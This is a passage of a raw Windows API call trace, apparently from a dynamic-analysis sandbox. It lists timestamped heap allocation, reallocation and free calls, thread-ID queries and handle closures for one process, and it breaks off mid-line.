GetLastError () returned 0x0 [0075.324] GetLastError () returned 0x0 [0075.325] GetLastError () returned 0x0 [0075.325] GetLastError () returned 0x0 [0075.325] GetLastError () returned 0x0 [0075.325] GetLastError () returned 0x0 [0075.325] GetLastError () returned 0x0 [0075.325] GetLastError () returned 0x0 [0075.325] GetLastError () returned 0x0 [0075.325] GetLastError () returned 0x0 [0075.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0075.325] CloseHandle (hObject=0x2ec) returned 1 [0075.325] GetLastError () returned 0x0 [0075.325] GetLastError () returned 0x0 [0075.326] GetLastError () returned 0x0 [0075.326] GetLastError () returned 0x0 [0075.326] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cdbf78 | out: hHeap=0x2ad0000) returned 1 [0075.326] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32cca40, Size=0x2c97) returned 0x32cca40 [0075.326] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3259e28 | out: hHeap=0x2ad0000) returned 1 [0075.326] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x48a) returned 0x31de5f0 [0075.326] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c959a0 [0075.326] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c959a0, Size=0x20) returned 0x30284e0 [0075.326] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30284e0, Size=0x40) returned 0x2a18e18 [0075.326] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e18, Size=0x64) returned 0x2a197a8 [0075.326] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a197a8, Size=0x8c) returned 0x2ac0b70 [0075.326] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0b70, Size=0xb8) returned 0x3183e38 [0075.326] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183e38, Size=0xe8) returned 0x2ac98f0 [0075.326] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac98f0, Size=0x120) returned 0x2c374c0 [0075.326] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x2cb7d30 [0075.326] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb7d30, Size=0x1a8) returned 0x3028ca8 [0075.326] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028ca8, Size=0x1f8) returned 0x2c315e0 [0075.326] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c315e0, Size=0x250) returned 0x2ac3d58 [0075.326] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac3d58, Size=0x2b4) returned 0x2c2c730 [0075.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c2c730 | out: hHeap=0x2ad0000) returned 1 [0075.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32cca40 | out: hHeap=0x2ad0000) returned 1 [0075.327] GetCurrentThreadId () returned 0x9b0 [0075.327] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab900 [0075.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab900 | out: hHeap=0x2ad0000) returned 1 [0075.327] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3230ec8 [0075.327] GetCurrentThreadId () returned 0x9b0 [0075.327] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.327] GetCurrentThreadId () returned 0x9b0 [0075.327] GetCurrentThreadId () returned 0x9b0 [0075.327] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.327] GetCurrentThreadId () returned 0x9b0 [0075.327] GetCurrentThreadId () returned 0x9b0 [0075.327] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.327] GetCurrentThreadId () returned 0x9b0 [0075.327] GetCurrentThreadId () returned 0x9b0 [0075.327] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.327] GetCurrentThreadId () returned 0x9b0 [0075.327] GetCurrentThreadId () returned 0x9b0 [0075.328] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.328] GetCurrentThreadId () returned 0x9b0 [0075.328] GetCurrentThreadId () returned 0x9b0 [0075.328] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.328] GetCurrentThreadId () returned 0x9b0 [0075.328] GetCurrentThreadId () returned 0x9b0 [0075.328] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.328] GetCurrentThreadId () returned 0x9b0 [0075.328] GetCurrentThreadId () returned 0x9b0 [0075.328] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.328] GetCurrentThreadId () returned 0x9b0 [0075.328] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32b4900 [0075.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3230ec8 | out: hHeap=0x2ad0000) returned 1 [0075.328] GetCurrentThreadId () returned 0x9b0 [0075.328] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.328] GetCurrentThreadId () returned 0x9b0 [0075.328] GetCurrentThreadId () returned 0x9b0 [0075.328] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.329] GetCurrentThreadId () returned 0x9b0 [0075.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc390 [0075.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x3028378 [0075.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c959a0 [0075.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab830 [0075.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9f0 [0075.329] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32ab830, Size=0x14) returned 0x32bc290 [0075.329] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32bc290, Size=0x24) returned 0x2a20108 [0075.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9f0 | out: hHeap=0x2ad0000) returned 1 [0075.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c959a0 | out: hHeap=0x2ad0000) returned 1 [0075.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028378 | out: hHeap=0x2ad0000) returned 1 [0075.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20108 | out: hHeap=0x2ad0000) returned 1 [0075.329] GetCurrentThreadId () returned 0x9b0 [0075.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x3028530 [0075.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c959a0 [0075.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab890 [0075.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab910 [0075.329] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32ab890, Size=0x14) returned 0x32bc3b0 [0075.330] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32bc3b0, Size=0x24) returned 0x2a201c8 [0075.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab910 | out: hHeap=0x2ad0000) returned 1 [0075.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c959a0 | out: hHeap=0x2ad0000) returned 1 [0075.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028530 | out: hHeap=0x2ad0000) returned 1 [0075.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0075.330] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f920, Size=0x40) returned 0x2a191c0 [0075.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x30281c0 [0075.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c959a0 [0075.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab900 [0075.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab8b0 [0075.330] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32ab900, Size=0x14) returned 0x32bc410 [0075.330] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32bc410, Size=0x24) returned 0x2a1ffe8 [0075.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab8b0 | out: hHeap=0x2ad0000) returned 1 [0075.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c959a0 | out: hHeap=0x2ad0000) returned 1 [0075.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30281c0 | out: hHeap=0x2ad0000) returned 1 [0075.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffe8 | out: hHeap=0x2ad0000) returned 1 [0075.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3230ec8 [0075.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9e0 [0075.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c959a0 [0075.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96750 [0075.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab9b0 [0075.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab990 [0075.331] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32ab9b0, Size=0x14) returned 0x32bc330 [0075.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab990 | out: hHeap=0x2ad0000) returned 1 [0075.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96750 | out: hHeap=0x2ad0000) returned 1 [0075.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c959a0 | out: hHeap=0x2ad0000) returned 1 [0075.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9e0 | out: hHeap=0x2ad0000) returned 1 [0075.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc330 | out: hHeap=0x2ad0000) returned 1 [0075.331] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb99a8, Size=0x324) returned 0x31dd310 [0075.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab840 [0075.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc550 [0075.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c959a0 [0075.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab8b0 [0075.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab830 [0075.331] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32ab8b0, Size=0x14) returned 0x32bc510 [0075.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab830 | out: hHeap=0x2ad0000) returned 1 [0075.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c959a0 | out: hHeap=0x2ad0000) returned 1 [0075.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc550 | out: hHeap=0x2ad0000) returned 1 [0075.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab840 | out: hHeap=0x2ad0000) returned 1 [0075.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc510 | out: hHeap=0x2ad0000) returned 1 [0075.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c959a0 [0075.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab870 [0075.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc2f0 [0075.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96750 [0075.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab900 [0075.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9e0 [0075.332] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32ab900, Size=0x14) returned 0x32bc2b0 [0075.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9e0 | out: hHeap=0x2ad0000) returned 1 [0075.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96750 | out: hHeap=0x2ad0000) returned 1 [0075.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc2f0 | out: hHeap=0x2ad0000) returned 1 [0075.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab870 | out: hHeap=0x2ad0000) returned 1 [0075.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc2b0 | out: hHeap=0x2ad0000) returned 1 [0075.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9c0 [0075.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc4d0 [0075.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96750 [0075.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba10 [0075.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab830 [0075.332] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba10, Size=0x14) returned 0x32bc4f0 [0075.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab830 | out: hHeap=0x2ad0000) returned 1 [0075.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96750 | out: hHeap=0x2ad0000) returned 1 [0075.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc4d0 | out: hHeap=0x2ad0000) returned 1 [0075.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9c0 | out: hHeap=0x2ad0000) returned 1 [0075.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc4f0 | out: hHeap=0x2ad0000) returned 1 [0075.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3231050 [0075.333] GetCurrentThreadId () returned 0x9b0 [0075.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32b18c0 [0075.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3231050 | out: hHeap=0x2ad0000) returned 1 [0075.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3231050 [0075.333] GetCurrentThreadId () returned 0x9b0 [0075.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32b24d0 [0075.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3231050 | out: hHeap=0x2ad0000) returned 1 [0075.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab870 [0075.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3231050 [0075.333] GetCurrentThreadId () returned 0x9b0 [0075.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc2f0 [0075.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc5d0 [0075.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc2f0 | out: hHeap=0x2ad0000) returned 1 [0075.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab870 | out: hHeap=0x2ad0000) returned 1 [0075.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3231360 [0075.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32b2ad8 [0075.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3231360 | out: hHeap=0x2ad0000) returned 1 [0075.334] GetCurrentThreadId () returned 0x9b0 [0075.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab950 [0075.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3231360 [0075.334] GetCurrentThreadId () returned 0x9b0 [0075.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc490 [0075.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc4d0 [0075.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc490 | out: hHeap=0x2ad0000) returned 1 [0075.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab950 | out: hHeap=0x2ad0000) returned 1 [0075.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3231980 [0075.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32b4f08 [0075.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3231980 | out: hHeap=0x2ad0000) returned 1 [0075.334] GetCurrentThreadId () returned 0x9b0 [0075.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba10 [0075.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3231980 [0075.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc3b0 [0075.334] GetCurrentThreadId () returned 0x9b0 [0075.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc5f0 [0075.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc3b0 | out: hHeap=0x2ad0000) returned 1 [0075.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba10 | out: hHeap=0x2ad0000) returned 1 [0075.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x31827b0 [0075.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32adc70 [0075.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31827b0 | out: hHeap=0x2ad0000) returned 1 [0075.335] GetCurrentThreadId () returned 0x9b0 [0075.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab8d0 [0075.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x31827b0 [0075.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc410 [0075.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc3f0 [0075.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc410 | out: hHeap=0x2ad0000) returned 1 [0075.335] GetCurrentThreadId () returned 0x9b0 [0075.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab8d0 | out: hHeap=0x2ad0000) returned 1 [0075.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3180478 [0075.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32b5510 [0075.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3180478 | out: hHeap=0x2ad0000) returned 1 [0075.335] GetCurrentThreadId () returned 0x9b0 [0075.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab870 [0075.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3180478 [0075.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc2f0 [0075.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc290 [0075.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc2f0 | out: hHeap=0x2ad0000) returned 1 [0075.336] GetCurrentThreadId () returned 0x9b0 [0075.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab870 | out: hHeap=0x2ad0000) returned 1 [0075.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3183268 [0075.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32ae278 [0075.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183268 | out: hHeap=0x2ad0000) returned 1 [0075.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab830 [0075.336] GetCurrentThreadId () returned 0x9b0 [0075.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3183268 [0075.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc570 [0075.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc550 [0075.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc570 | out: hHeap=0x2ad0000) returned 1 [0075.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab830 | out: hHeap=0x2ad0000) returned 1 [0075.336] GetCurrentThreadId () returned 0x9b0 [0075.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cdfe0 [0075.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32b7338 [0075.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32cdfe0 | out: hHeap=0x2ad0000) returned 1 [0075.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab960 [0075.337] GetCurrentThreadId () returned 0x9b0 [0075.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32ce2f0 [0075.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc570 [0075.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc3b0 [0075.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc570 | out: hHeap=0x2ad0000) returned 1 [0075.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab960 | out: hHeap=0x2ad0000) returned 1 [0075.337] GetCurrentThreadId () returned 0x9b0 [0075.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32ceda8 [0075.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32b6120 [0075.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ceda8 | out: hHeap=0x2ad0000) returned 1 [0075.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab940 [0075.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32ce478 [0075.337] GetCurrentThreadId () returned 0x9b0 [0075.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc2b0 [0075.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc510 [0075.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc2b0 | out: hHeap=0x2ad0000) returned 1 [0075.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab940 | out: hHeap=0x2ad0000) returned 1 [0075.337] GetCurrentThreadId () returned 0x9b0 [0075.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32cd218 [0075.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32b5b18 [0075.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32cd218 | out: hHeap=0x2ad0000) returned 1 [0075.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32ce910 [0075.338] GetCurrentThreadId () returned 0x9b0 [0075.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc2b0 [0075.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x32bc4f0 [0075.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc2b0 | out: hHeap=0x2ad0000) returned 1 [0075.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: 